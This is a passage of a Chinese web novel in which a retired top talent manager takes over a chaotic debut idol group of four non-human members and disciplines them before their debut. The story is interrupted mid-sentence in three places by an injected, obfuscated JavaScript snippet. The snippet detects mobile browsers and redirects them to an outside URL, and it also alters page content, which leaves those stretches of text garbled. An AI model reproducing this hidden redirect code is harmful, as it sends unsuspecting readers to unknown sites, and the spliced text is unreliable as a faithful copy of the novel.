《驯服人外偶像团[GB]》 1. 孽缘,启动! 在推开休息室的门之前,楚凝没有想过事情是这样的混乱。半个月前,她那个开娱乐公司并成功要把公司经营倒闭的好友来电让她救场,拜托她做她旗下一个新生团体的经理人。 “这个团队里的成员是我请人花重金从银星上找的,据说每一个都很符合做偶像的条件,就是有一点阿凝你要注意下……”好友支吾着提醒,“那个……因为他们都不是人类,所以……还得麻烦你多多指教啦。” 接到这个电话的时候,楚凝正攥着回银星的飞船票,做着环星球旅行的大规划,现在看来,计划似乎受到了阻碍。她回绝了好友的请求,让她另请高明。 “你知道我已经不干这行了,”楚凝说,“我现在只想好好休息,然后还有很重要的事要做。 “如果你的公司运转困难,我不介意直接给你一张支票渡过这一关,或者你也可以向你的家族求救。作为家族的掌上明珠,我相信你的族人不会袖手旁观。” “不行!”电话那头的朋友激动起来,“我说好了做出成绩再回去,现在向他们求助不是太打脸了吗?而且如果用了你的支票,我也会被家族的那帮人给笑话的,我才不要向他们低头!” “嗯,你很有志气,”楚凝想了想,果断道,“那祝你好运,我不陪你玩了。”她说完就要挂断电话。 “不行,你得帮我!只要你帮我运营好这个团体,我送你一栋别墅!” “谢谢,我不缺别墅。” “那我送你一座矿山!” “谢谢,我不缺矿山。” “……” 楚凝笑了笑,面上有些无奈:“没其它事我先挂了。” 她在蓝星做经纪人这些年,手上培养出无数顶尖的明星,无论是流量还是实力都令人称赞,而她自己也凭借着赫赫的“战功”跻身到特级经理人的行列,满头光坏荣誉加身,如今的激流勇退,实在叫人费解和扼腕。 她对外宣称自己因为学业进修而暂时退出经纪人的行业,但退出的真正原因却很少有人知道。 好友知道原因,于是只能在最后关头直击重点地提出条件: “天使心脏,”她说,“只要你答应,我给你那颗心脏,哪怕是把它从家族偷出来。” 电话这头的楚凝沉默了。 “你还真是大手笔啊,”片刻后,她默默说,“成交。把这些新人……喔不,新人外们的资料发给我。” …… 在去Z社的路上,楚凝打开了几个人外的资料档案,对他们做了一个初步的了解。 这个团队一共四名成员,都来自距离蓝星不远的银星。在星际时代里,文明级别相等且互有往来的星球有两颗,以“银”和“蓝”命名,每颗星球上都有由“A”到“Z”进行命名的二十六个国家,楚凝来自银星A,四个成员和她一样,只是族别各异。 “魅魔、吸血鬼、妖精和狼人……成分还真是齐全,”楚凝一边看着资料,一边计划,“总之等会儿先看看他们的个人实力和定位,然后做一个匹配度分析再说……如果实力过硬且星味也比较浓的话,真能为公司力挽狂澜也说不定……” 她这么想着,不一会儿到了Z社大门。该说不说,朋友开的娱乐公司虽然内部财政空虚,但公司外在的装潢还是很显气派,通体透明的设计,摩天大楼的高度,几十米宽的门头嵌满各式的宝石碎片。 楚凝按照地址来到成员们所在的练习室,被工作人员告知他们都去休息室休息了,于是又找到休息室的位置。 门把转动的一刹,她察觉到了蹊跷。一桶水从门上浇了下来,伴着室内提前庆祝的喝彩声。 水倒下来的一刻,楚凝眉头一皱,闪身进入室内,出其不意地避开那扇水帘,而后拉住吊着水桶的绳索,把水桶往离自己最近的人面前甩去。咚的一声,只听到一声惨叫,喝彩声消失了,有人痛呼起来。 “搞暗算?”楚凝镇定下来,抬眼朝前头一看,看见了一只白发红瞳的兔子精——他此刻正捂着自己的额头,表情既吃痛又有些委屈。楚凝冷冷地瞪着他。他反应过来的时候吓一大跳,连忙摆手: “不是我不是我,我可没想暗算你,我、我想帮你把那个水桶拿下来的,可是刚走到门口你就开门了!”说这话时,他耷拉的兔耳微微立起,看上去十分激动。 楚凝打量他一番,默默地确认:“你是萱草?” 垂耳兔妖听她这么问,点了点头,本想再解释刚才的事故,却听见身后传来一道娇俏的嬉笑: “萱草就是会扯谎啦,”那声音的主人说,“你是想去检查那个小机关能不能正常运转,生怕它砸不到经纪人的嘛。” 循着声音看去,说话的那人半躺在沙发上,紫色的瞳孔眯起,好整以暇地望向兔妖和楚凝。他长着一对漂亮的山羊角,穿着黑色的露脐紧身衣,套一条同色的皮裤。腰腹上不知什么原因缠着绷带,身后的那根爱心形状的尾巴此刻正慢悠悠地摇晃着。 “他是魅魔。”楚凝在心里确认着对方的身份,又听一旁的萱草辩驳道:“才不是,我才不像你这么坏,偷偷设置这个机关想给经纪人一个下马威!萤火最坏了,简直是最差劲的队友!”两个人外就这么斗嘴起来。 楚凝本来想揪出始作俑者,但脑海里一阵混乱,忽然有点无话可说的感觉。直觉告诉她,这两个人都不是什么善茬,毕竟刚刚还有人在喝彩。 但她并不打算即刻就追究这一次整蛊的责任,于是制止了两位少年幼稚的争吵。 “我叫楚凝,是你们以后的经纪人,然后……”她一边简单地介绍自己,一边打量着乱糟糟的室内,疑惑道,“你们不是有四个人吗?怎么只看到你们俩?其他成员呢?”视线移转半天,她也没有找到另外两个人的影子。 “啊,加尼尔哥哥刚刚出去了,”萱草从旁边的冰箱里拿出一瓶汽水,讨好般地递给楚凝,“他的行踪总是很神秘,我们也不知道他去了哪里……” “是加尼亚啦蠢兔子,”魅魔找补道,“你连那匹狼的名字都记错,当心他月圆之夜变身吃掉你喔。” “要你管啊,”萱草 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748793|145404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弱弱地瞪他一眼,然后躲到楚凝的身后,可怜兮兮地说,“经理人姐姐,这只羊老是欺负我,你能不能帮我教训下他……” 萤火默默地乜斜他一眼。萱草口中念着不知名的咒语,小小声地诅咒他。 楚凝见他们这样的表现,揉了揉太阳穴,觉得有点头疼。 先不说实力,这个团队的成员关系首先就很堪忧。 她又问两人最后一个成员在哪里。 “那只吸血鬼呢?他也有事外出了?” 萤火笑了笑,修长的双腿交叠起来,“吸血鬼吗?”他故作神秘地说,“一直在这里啊。” 楚凝环顾四周,向他递去费解的眼神。 这时,萱草扯了扯她的袖子,把她带到了沙发的背后。 楚凝看见了一口非常华丽的棺材。 这具棺材是上短下长的六边形,外包蟒蛇的皮革,黑亮的色彩在灯光下流动着,棺材中间刻着十字架的浮雕,用银箔包裹起来,十字架的正中用花体的拉丁字母刻着主人的名字——Flower.Elizabeth。 “他在里面呢。”兔妖指了指棺材。 “……社恐吗……” 楚凝一脸黑线地将棺材盖掀开,眼睛微微地眯紧。她原以为棺材里会是一副很狼狈的画面,却没想到情况竟有些不同。 只见棺材中铺着红丝绒的软垫,四周撒满了火红的玫瑰花瓣,一位金发的少年穿着贵族的服饰躺在其中,安静地沉睡着。他身形瘦削,肌骨纤弱,皮肤在灯光下显出病态的苍白,隐隐透出血管的颜色,但五官却很漂亮,眉睫间蕴着一派骄矜的美丽。 “他睡着了,”兔妖小声说,“经纪人姐姐你不要惹他,他很喜欢发脾气。” “叫我楚凝就行了。”楚凝看着面前日夜颠倒睡得正香的吸血鬼,犹豫片刻,伸手轻捏住他的鼻子。 面前的少年皱了皱眉,下意识地侧了侧身体,想要逃离她的唤醒。但楚凝并没有放过他,反而加重些力道,迫使少年咳呛一声,忽然睁开了眼睛。那对浅粉的瞳眸里含满了怒意。 楚凝拿偶像的评判标准在心里对他做了初步的判定,客观地认定对方的颜值是很达标的,但她还没有跟对方打招呼,就收到了对方真诚的“问候”: “女人,你找死呢?” 吸血鬼少年坐起身来,抱臂瞪着楚凝,“你知不知道打扰本殿下睡觉是会被处以极刑的。”他打量着楚凝,见对方一直盯着他看,那张苍白的脸上忽然现出一点自恋般的兴奋,可又很快被掩饰过去。 他状似无奈地叹一口气,扶着额头苦笑: “不过你该不会是本殿下的追求者吧?真是的,为了一睹本殿下的面容追到这里来,好顽强好执着。” “不过我可不能答应你啊,毕竟追我的人已经从银星排到了蓝星……算了,看在你这么痴情的份上我就原谅你的无礼好了……” 楚凝:“……。” 她认为自己可能还是有点看走眼了。 这位路人缘应该不会太好。 2. 纪律散漫的人外们 “你想太多了弗纳尔,”魅魔嬉笑说,“这是我们的新经理人,之前那位临时经理人不是被我们气跑了吗,她是新来的。”他说这话时,狭长的眼眸微眯,带着刻意的调侃。 “新经理人?”吸血鬼少年听完后,收起了自恋的神色,干咳两声说,“我怎么不知道有这回事。” 萱草补充道:“因为昨天那位经理人说这件事的时候你也同样在棺材里睡觉啊。”他说完以后,又默默在楚凝耳边说:“弗纳尔一到白天就犯困,每天都不参加训练……” “好哇好哇臭兔子你打小报告!”弗纳尔怒气冲冲地扬言,“本殿下今天要喝兔子血!” 萱草见他要过来逮自己,赶紧往楚凝的身后躲,但他并没有想到弗纳尔会由于气愤被棺材盒绊倒,还没走出棺材就往前栽。楚凝见状,伸手拦他一下,救了他一命。 弗纳尔脱离险境,见楚凝拦着他腰杆,羞愤地后退一步:“谁准你碰本殿下的,居然吃我豆腐!”他路出两颗尖尖的虎牙,准备咬楚凝一口,但被一掌捂住嘴巴。 “你好吵啊,”楚凝面无表情地盯着他,“你们伊丽莎白家族自从跟人族立契以来就被禁止再吸食人血了,你吓唬谁呢。”她说完,拽过他一只手腕,在他腕上看见了一道赤红的光印。她笑了笑,神情有些不屑:“封印也还在,你身上一丁点有攻击性的魔力都没有还好意思威胁我,真是不怕死啊。” 弗纳尔被捂着嘴巴,浅粉的眼瞳里泛起水雾,似乎被呛到了。楚凝放开了他,他喘息一会儿,顶着那张因为生气而难得红润的脸颊,碎碎念道:“可恶的人类,本殿下讨厌你……” 楚凝不搭理他的吐槽,手里握着兔子给的汽水,径直坐上沙发。她扫过三人一眼,因为眉眼生得凌利,整个人透露出一股不怒自威的气势,让混乱喧闹的场面安静了下来。 “听着,”她抱着手臂说,“我再介绍一遍,我叫楚凝,是你们老板的朋友,从今天开始也是你们的经纪人,全权负责你们在工作上的各项事务。” “我在这个行业里干了几年,不是什么骨灰级的大佬,但业绩还可以,勉强说得出去。我带的艺人,只要肯听我的安排,走红不是问题。要是你们不信,可以到网上去查验。” “不过我这个人做事比较严格,在工作的事务上没那么好说话,对艺人的要求也比较苛刻,所以今天出现的这些乱子,我不希望以后再次发生。”她边说边观察着三只人外的表情,发现他们不以为意,眉眼又冷了几分。 “你们几位是从银星过来的非人族,对蓝星的生活可能还不太适应,这点我可以理解,但是既然已经是要出道的预备偶像了,还烦请你们拿出一些作为偶像的自觉来做好应当做好的营业。” “我这次来给你们带了几本《偶像行为准则》,一会儿让我的助理发给你们,还请认真学习,后面我会找时间抽查你们的学习情况,如果没有认真对待,我会向公司申请推迟你们的出道时间。” 话说到这里,原本漫不经心的三只人外终于有了些别样的反应。 “不可以!”兔妖激动地立起了耳朵,红宝石般的眼眸滟起水光,“我不要延迟出道!” 吸血鬼沉着脸色,默默嘀咕:“居然威胁本殿下,我要告诉父亲大人叫他从银星派人来抓你……” “经纪人姐姐凭什么可以做这种决定呢……”坐在沙发另一边的魅魔则轻甩尾巴,将尾巴朝楚凝胸膛的方向点了点,“你这样说话良心都不痛的嘛……” 他尾巴一晃一晃的,似乎要缠上楚凝的手腕,但却被一把逮住了。楚凝三下五除二,把他的尾巴打了个蝴蝶结,叫他安分不少。 “就凭这是在蓝星,”楚凝站起身来,冷冷说:“我比你们强。”她说完,走到门边,揪住挂在墙边的那个木桶,一掌将它劈成了两半。 人外们目瞪口呆。 楚凝唇角轻扬:“所以,要听话。” 人外们瑟瑟发抖。 …… 经历了上午的问候,楚凝对几只人外有了比资料上更加清楚的认知。如果说以前答应培养他们是完全出于和好友之间的交易与承诺,那么如今她则更增添了一分对人外们的养成欲。正如她一贯的战绩一般,无论培养的艺人有多麻烦,哪怕是用尽方法,她也要把对方送上爆红的宝座。 “绝无例外。”她这样想到。 下午的时候,她去休息室检查几位团员对手册的学习情况,在到休息室门口的时候撞上一个人——准确来说是一只狼。这狼人身穿一件紧身的背心,下套一条深色的工装裤,身形高大,体格健硕,气质有些冷峻,但看人的眼神却很温柔。 “加尼亚?”楚凝试探性地喊他。 狼人愣了愣:“你认识我?”他打量了楚凝一番,又疑惑道:“请问是哪位前辈吗?” 楚凝来公司并没有穿工作服,也没有挂工牌,风格的确不像这里的工作人员。一袭纯白的雪纺衬衣短裙,外套棕色的皮革束腰,搭一双同样棕色的马丁靴,配上她那一张年轻的美人脸颊,反倒使人更容易相信她是个艺人。 楚凝摇摇头:“我是你的新经纪人。” 狼人一听,疑惑的表情忽然变得严肃起来。他朝楚凝敬了个礼,庄重道: “长官好!” “啊?”楚凝不明所以,“你叫我什么?” 狼人恭敬道:“您是指引我方向的人,我当向您致以最诚挚的问候!”他说完以后,神情更加郑重:“为了组织的荣耀,为了狼族的前程,我将永远和您并肩作战,努力完成您的指示!” 楚凝懵了片刻,没料到对方这么有觉悟,对他默默竖了个大拇指:“那我们就一起努力吧。” “是,长官!”狼人又敬一礼,头上的两只狼耳也精神地竖立起来。 楚凝咳嗽两声,似乎不太适应对方这样另类的称呼。她先把上午在休息室说的话给对方简单地复述了一遍,然后提出了与其他三只人外同样的管理要求。狼人一一答应,显出很有信念感的服从。 楚凝满意地点点头,和他一起进了休息室。原本以为休息室里的情况会比上午好一点,但楚凝无语地发现,这里的情况和上午没什么变化。 魅魔萤火仍然慵懒地躺在沙发上观看着电视里其他偶像团体的表演,兔妖萱草正在化妆镜前面专心梳理自己耳朵的毛发。 “你们都没正事干吗?”楚凝一脸黑线地走向两人,“早上发的《手册》都背到了?” 萤火手里拿着一杯蛋糕,用自己尾巴根的爱心当勺子,一边优雅地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748794|145404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 品尝糕点,一边说:“区区几页纸的内容,我十分钟就拿下了。” 楚凝又看向兔子。萱草心虚地放下手里的小梳子,支支吾吾地说:“我、我尽力背啦……”但他刚说完,就被萤火拆了台: “经纪人姐姐,这只臭美的兔子可是从你早上离开开始就在梳自己的耳朵毛了,完全没有看手册喔。” 萱草垂下去的大耳朵展了展,状似无辜地摇头:“才没有呢,阿凝姐姐你不要听他胡说啊,我很听话地背了,就是……就是有点背不到而已……”他露出楚楚可怜的表情,红色的双瞳水汪汪的,仿佛马上要哭出来。 “那你先背来听听。”楚凝审判般地说。 萱草愣了愣,在她审视般地眼神下哆哆嗦嗦地开口: “偶、偶像行为守则第一条……要严格遵守……嗯……公司规定的练习安排,不得消极怠工……第、第二条……唔……”萱草的声音越来越低。 楚凝双手抱臂,围着这只没有底气的兔子转了一圈,最终指了指靠近门口的墙壁:“自己罚站一小时。” 萱草瘪瘪嘴,眼泪唰地掉下来。 “阿凝姐姐我不想罚站……” “再哭,往你眼睛喷芥末水。” 萱草一秒收住眼泪。他拿看魔鬼的眼神看了一眼楚凝,然后乖乖罚站去了。 楚凝看着他耷拉的大耳朵,心里默默地想:“有这么容易掉毛么……”她走过去薅了对方的耳朵一把,然后看着满手的兔毛陷入了沉思。 看来得在网上给他买个防掉毛喷雾剂…… 她认真地想。 这头的魅魔还在逍遥地休息,楚凝走到他面前,同样指了指墙壁: “你,也去罚站。” 萤火漫不经心地瞄她一眼,慢悠悠地说:“经纪人姐姐,你不相信我能背到手册吗?” 他抻了个懒腰,仍旧摇着尾巴,边看节目便把手册的内容背了出来。近乎是一个字都没落下。 楚凝听完说:“背得很好,但是——去罚站。” 萤火双眉微挑:“为什么?” “你背到了,那你做到了么?”楚凝说,“偶像行为手册第一条:要严格遵守公司规定的练习安排,不得消极怠工——那么你现在在干什么?” 萤火抿了抿嘴,突然沉默了。 楚凝从茶几的置物篮里拿出一把小剪刀,幽幽道:“再不从沙发上起来,我就把你的尾巴剪了卤来吃。” 萤火乖乖去罚站了。 楚凝收拾完两个大麻烦,转头看向身后的加尼亚。狼人显然被她强大的气场震撼住了,又向她敬了个礼,表明自己绝对的忠诚。 楚凝拍了拍他的肩,把萤火的手册递给他。狼人接过手册,立马认真地观看起来。楚凝心想对方比较省心,内心突然有了点欣慰,但转念发现自己漏了个人没检查,一张脸又紧绷起来。 她走到沙发后面,发现那口曜黑色的棺材仍然紧盖着,脸色深沉地问向罚站的两个人外: “弗纳尔还在里头睡觉?” 两人外点头。 楚凝深吸一口气,吐息里飘散着点点杀意: “他还真是欠收拾啊。” 她一说完,把棺材盖上的搭扣打开,掀开了棺盖。 3. 爱生气的吸血鬼殿下 然而本来想好好教训吸血鬼的楚凝并没有想到,此时的弗纳尔虽然身处梦乡,但怀里却紧抱着那本手册,口中说着跟手册内容有关的梦话。他侧躺在棺材里,睡得不太安稳,时不时地皱眉,似乎是受到了背记任务的影响。 这家伙……还真的有在背书啊。楚凝有点懵。 她放弃了向少年训话的打算,但仍旧试图将他喊醒。只是由于还没到晚上,睡着的弗纳尔十分缺觉不容易喊醒,于是楚凝往他手背上弹了个“栗子”,把他给痛醒了。刚睡醒的少年顶着一撮呆毛,起床气正要发作,楚凝直截了当地说:“你需要倒时差。” “以后我来帮你倒,从今天起我搬到公司宿舍住,就住你旁边,强制你早上起床晚上睡觉。” “!” 弗纳尔的面色闪过一丝惊慌,随后转化成忿忿不平的抗议:“你这是监视,你侵犯人外的人权!我要告到中央!” 楚凝:“中央没空管你这点破事。” 弗纳尔说:“那我要报警,你强制破坏我的生物钟属于虐待国际友人破坏星际邦交的行径!你这个残忍的女人我要喊警察叔叔把你抓走……”他叽里呱啦地碎碎念着,快把楚凝的耳朵磨出了茧子。 楚凝不想跟他废话,只问了一句:“你来这里到底是玩儿的还是真想出道?” 弗纳尔停下了吐槽。 “你这叫什么话,”他说,“本殿下来这里当然是为了出道的,本殿下要做全宇宙第一的大偶像,要成为整个伊丽莎白家的骄傲,我要超过德古拉家族的那个传奇,让他和他那自以为是的家族颜面扫地!” 德古拉家族是伊丽莎白家族的政敌,曾经诞生过一名万众瞩目、拥趸无数的天才偶像,也一度受到银星和蓝星人民的热烈追捧。德古拉的掌权人常拿这件事情在伊丽莎白氏面前炫耀,遭到了后者的强烈的羡嫉。 “德古拉氏……”听到少年说起这个家族的名字,楚凝的面色有了微妙的变化,但其他人并没有察觉。过了一会儿,她收起了恍神的表情,对少年说:“做大偶像可没那么简单,态度和能力都很重要,如果你连调整作息的决心都没有,那以后的路你一步也迈不出去。” 弗纳尔忽然不说话,似乎找不到反驳的理由。 楚凝又严肃道:“总之今晚我会监督你睡觉,明早准时起床。还有你现在穿的这身衣服……”她看着少年华丽又繁复的贵族服饰摇头,“这身衣服也要换,不然你没法练习。” 弗纳尔又开始不满,说她剥夺了他尊贵的身份。 “在这里你不需要尊贵,”楚凝说,“你只需要努力。”她说完,想着楼下的道具间里应该有一些简约的打歌服,便准备带着他去道具间换衣服。 她拽着对方出了休息室,临走前吩咐另外三人好好背手册,同时准备好下午的预出道表演彩排。 “你们下周就要出道了,我要检查你们出道曲的表演情况,”楚凝说,“老实说,看到你们现在这个鬼样子我一点也不放心。”她说完,带着弗纳尔去道具间,留下室内的三个人外面面相觑,一脸的猝不及防。 …… 道具间里挂着许多应对不同场景的打歌服,楚凝让弗纳尔选一套清爽便捷些的自己换上,但吸血鬼少年明显对清爽和便捷这两种风格没什么体悟,选了一套和自己身上穿的没太大区别的西方公爵式的装扮。 “领地的子民们,吾是你们的信仰……”他甚至表演起来了。 “换掉。”楚凝冲他发射眼箭。 弗纳尔瘪了瘪嘴,脱掉公爵服,又换上一套白银色的轻装骑士装。 “这个看着很简便啊。”他手里拿着一柄骑士剑,对着道具间的各种道具兴奋地比划。 楚凝:“毁坏一件百倍赔偿,再把名字挂公司公示墙上。” 少年把剑丢掉了,而后又选了一套西部牛仔的服饰换上。 “这个总可以了吧?” 楚凝看了看他那挂着皮革流苏的牛仔衬衫和复古皮鞋,回味了一下他之前的两套夸张装扮,极其勉强地说:“如果这就是你对‘清爽’的极限理解,那就这样吧。”她本来已经妥协,结果在看见对方戴着那顶宽边牛仔帽,手拿左轮手枪的模型往外走的时候,还是忍不住地叫住了他。 “把帽子和玩具留在这里。” “不行,这是一位资深牛仔的灵魂!”弗纳尔激动地拒绝道,“我要和它们共存亡!” “那你就换掉。”楚凝无语道。 弗纳尔呜哼一声,金色的呆毛默默竖起。“这也不满意那也不满意,”他摆烂般地躺在一个大玩偶熊身上,气呼呼地说,“苛刻的女人,本殿下不要听你的了!” “我让你换衣服是为了方便练舞,不是让你去T台走秀的。”楚凝走到挂满打歌服的衣架前,一件一件地挑选着,最后终于在一众眼花缭乱的衣物中成功地挑出一套校园风的衬衣套装。 “换这个吧。” 弗纳尔瞥了一眼那套学院风的衣服,皱了皱眉,“咦,这么素,不要不要。” 楚凝瞄他一眼,伸手把他从玩偶熊上拉起来,把衣服塞他怀里,一脚踹进了换衣间。 “臭女人你敢这么踹本殿下,你活得不耐烦啦!”从小娇生惯养的弗纳尔从来没被人这么对待过,心里的不满爆发出来,索性扬言要待在换衣间里不出来了。 楚凝隔着门帘说:“给你一分钟。” 那头没有动静。 “还有半分钟。” 那头依然没有动静。 胆儿真肥。楚凝冷冷地报数:“三、二……” 门帘那头传来了细碎的哽咽声。 楚凝眉头一皱,抬手掀开了门帘。只见弗纳尔抱着衣服并没有动,浅粉的双眸蓄满了眼泪,看起来委屈巴巴的样子。和楚凝对上眼神的一刹,他把脸别了过去。 楚凝虽然对待工作很严肃,但私底下却是个吃软不吃硬的人。弗纳尔突然的委屈配上他那张貌美的脸颊的确比他的毒舌更有杀伤力,引得楚凝不自觉反思了一下自己刚才略显粗暴的行径,心里对少年有了一点歉意。 “我刚才踢疼你了?”她的脸色难得温柔了一点,“对不起。” 弗纳尔依旧把脸对着墙壁,抽抽噎噎地说: “我长这么大从来没有人敢这么对我,也没有人敢强迫我穿不想穿的衣服……”他似乎越想越伤心,仿佛尊严碎到了地上,哭噎的声音又大了些。 楚凝叹气说:“我向你道歉。” 弗纳尔瘪瘪嘴,默默说:“我才不接受呢……” 楚凝头有点疼,“那你要怎样才接受呢?”她转过身去,建议道:“要不然你也踹我一脚,咱俩就算扯平了?” 弗纳尔的脸颊泛起一点羞愤:“我是绅士我才不会这么做!” 楚凝想了想,拿哄孩子的语气说:“你要是原谅我并且乖乖把衣服换了,你今天就不用背那本手册了。” 听到这里,弗纳尔眼神一亮,不犹豫地和她成交了。他飞快地换好衣服,从换衣间清清爽爽地走出来。楚凝看见他一派简约的样子,总算是满意了。 只是上装的衬衫并不合身,大了老大一截,楚凝帮弗纳尔把衣角扎进裤腰,发现衬衣皱得厉害。 弗纳尔嫌这样就不好看了,不愿意出去,楚凝无语地瞄他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748795|145404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼,把他那件贵族服饰上的衬衣夹拆下来给他。弗纳尔借着她的歉意动起了使唤的心思,谎称自己站不稳,让她给自己穿戴。 “事情真多。”楚凝妥协下来,单膝蹲了下去。她把少年的五分短裤往上挽了一圈,露出膝盖的位置。弗纳尔的膝头是浅淡的粉色,在苍白的皮肤里有些鲜艳。 “你的膝盖很漂亮。” 楚凝随口夸了一句,把腿带放到对方膝头的位置往上比划,发现带子有点短,于是又把裤脚挽了几圈,把带子放到对方腿根下头一点的位置,见长度刚好合适,便叫少年抬脚。她将腿带套到刚才比好的位置,收好了松紧,捏着尾夹穿过裤腰,把夹扣夹在了衣角处。夹好了一边,她正准备给少年夹另一边,却被对方喊住了。 弗纳尔红着脸拿过她手里的衬衣夹,支支吾吾地说,“我自己来啦……” 楚凝疑惑道:“你刚刚不是说站不稳吗?” 弗纳尔默默说:“你、你扶着我就行……” 楚凝耐下心来把他扶住,弗纳尔勉强掌握住平衡,自己戴好了衬衣夹,宽大的衬衣终于显得贴身一些,搭配深色的短裤和白色的运动鞋,显得很有青春气。 “你这样好看多了。”楚凝说。 “谁要你评价了……”弗纳尔弱弱地反驳道。 楚凝不理解他一天哪来这么多大少爷脾气要发,索性也懒得还嘴,把他之前换过的衣服都整理好,原封不动地放回衣架。 换完装后,两个人回到休息室,楚凝重新抽查了萱草、萤火还有加尼亚背记手册的情况,发现几个人并没有在划水摸鱼,心里安稳了一点。她眼见着时间快到中午,便解散了集合起来的队伍,开车去A城中心吃饭。吃完饭后,她想到自己才刚和四只人外见了面还没给见面礼,又带了四份下午茶回去。 人情世故的东西对人外们也很管用,看着丰盛的下午茶餐点,四只难管的人外也变老实了。 享受完下午茶以后,楚凝发动四只人外帮自己搬宿舍,要把房间搬到弗纳尔的旁边。 除了吸血鬼以外,另外三只人外幸灾乐祸地卖力帮忙,没过一会儿家就搬好了。回到了高效率的工作状态,楚凝内心倍感舒畅。 在这期间,之前那位临时带过四只人外一会儿的经纪人也和她做了一些细节上的交接,但因为她是已经辞职的状态,所以交代给楚凝的东西很有限。 楚凝查看了一下她之前为这个团体的出道所做的业务,发现对方居然连基本的宣传造势也做的不多,不禁对同行那点微薄的上心程度感到无奈。 经历了和人外们一天的相处,她把对四个成员在性格特点以及生活习惯上的观察补充到他们的资料档案上,再交给自己的经纪团队去做宣发和舆论上的造势。她团队里的人执行力都很强,不过半小时便拟定出了好几个宣传方案,交返给她选择。 楚凝选择了一版反馈回去,设定了一周内于国内的几个主流社交网站预期要达到的热度目标,提醒手下的人全力执行。她又将以前合作过的商务客户的待放资源逐一盘查,从中挑出适合四只人外的资源拿给手里的人去洽谈。同时她联系了以前带过的Z社和其它大社的艺人,拜托他们配合自己进行宣传。 做完了前期的工作,她来到练习室,准备观察人外们对出道曲最真实的演绎情况。在这之前她看过前经纪人发的成员练习视频,但由于视频有二次美化过的痕迹,为了防止判断上的失真和对成员们的位置做更精确的界定,楚凝必须亲自检验一遍。 但饶是经验丰富如她,她也并没有想到接下来的几分钟,会猝不及防地迎来自己华丽工作生涯的至暗时刻。 4. 出道暂停,101报名 偌大的练习室一片死寂。 楚凝看完了四个人外的出道彩排,忽然觉得自己老了十岁。 四只人外的团体命名和“繁星”的概念有关,出道主打曲的名称叫《耀星》,歌曲的整体风格比较强烈,间奏变换丰富,听起来很有层次感,但表演的难度也不小。其中萱草负责主要的vocal部分,弗纳尔是副主唱,萤火是这首歌的主舞,加尼亚唱rap。 在亲自观看表演以前,楚凝认为成员们的实力按照现役的新出道偶像男团的标准来看应该是在中等的位置,但看完表演之后,她陷入了极大程度的自我怀疑。 “喂,你们没有在开我玩笑吧……”她一边拿着成员资料,一边不可思议地评价着,“兔子你作为主唱担当开头第二句词就跑调,突然降两个调是什么情况?弗纳尔你的副歌直接进慢了半拍……嗯……而且还跑调,狼人你的声线虽然还行但rap的吐字和节奏听着很乱,萤火本身虽然没什么大问题但是……你的动作要是和其他成员合起来看的话就像在各跳各的,完全就是两个团队的人啊……”她的表情虽然冷肃,但说话的声音已不大平静。 “拜托,经纪人姐姐,”魅魔的表情依旧慵懒,“那是因为他们跳得太差劲了跟不上我跳舞的力度好嘛。” 楚凝摇头:“不是,直观来看反而是你力度过猛和团队整体的效果产生了割裂感。总而言之,比起《耀星》,我感觉你们更像是表演了一首《陨石》。” “作为一个马上要出道的团队,你们的营业态度、业务能力和团队凝聚力都不合格,如果现在出道的话,暴死的几率很大。” 四只人外听到楚凝这样的决定,各自都不淡定。 “可是前经理人告诉我们哪怕唱得有缺陷,只要能够保持良好的表情管理和精准的口型比对,出道是没有问题的。”他这样的说法无疑是在告诉楚凝他们在正式表演的时候不会全开麦,而是使用垫音弥补演出效果的瑕疵。 楚凝听他说“口型比对”,眉头猛地一皱,毫不客气地训责:“那是她的不负责任,也是你们的歪门邪道。” “刚出道就想着偷工减料,你们对得起现在或是今后那些支持你们的粉丝吗?如果只是很小的瑕疵,可以拿垫音或者半开麦的手段去修补现场效果,但你们这表现已经超出小瑕疵的范畴了……”她叹口气,接着说,“在任何圈子里,实力都永远是硬道理,太早走捷径以后只会无路可走。” “我不希望你们现在自掘坟墓,也不允许我手里的艺人在圈里因为实力的原因出洋相被其他人笑话,所以我需要考虑你们出道日期的推延问题。” 虽说是考虑推延,但楚凝心里很清楚,以人外们现在的表演实力来说,要推也会推到很后面去。可时间和机会并不会等人,如果等他们实力达到标准再宣布出道,那么公司前期所做的努力都会白费。虽然推迟出道后Z社的资金窟窿由她填补也并不是什么难事,但是她知道好友并不愿意她以这样方式来帮助她。 真是麻烦。 正这样想着,狼人身上的电话响了起来。 “101企划面试……不,谢谢,我们可能不太需要,我们已经正式成团了……” “101?选秀综艺?”楚凝听他这么说,心头一惊,突然想起了什么,叫他把电话给她。 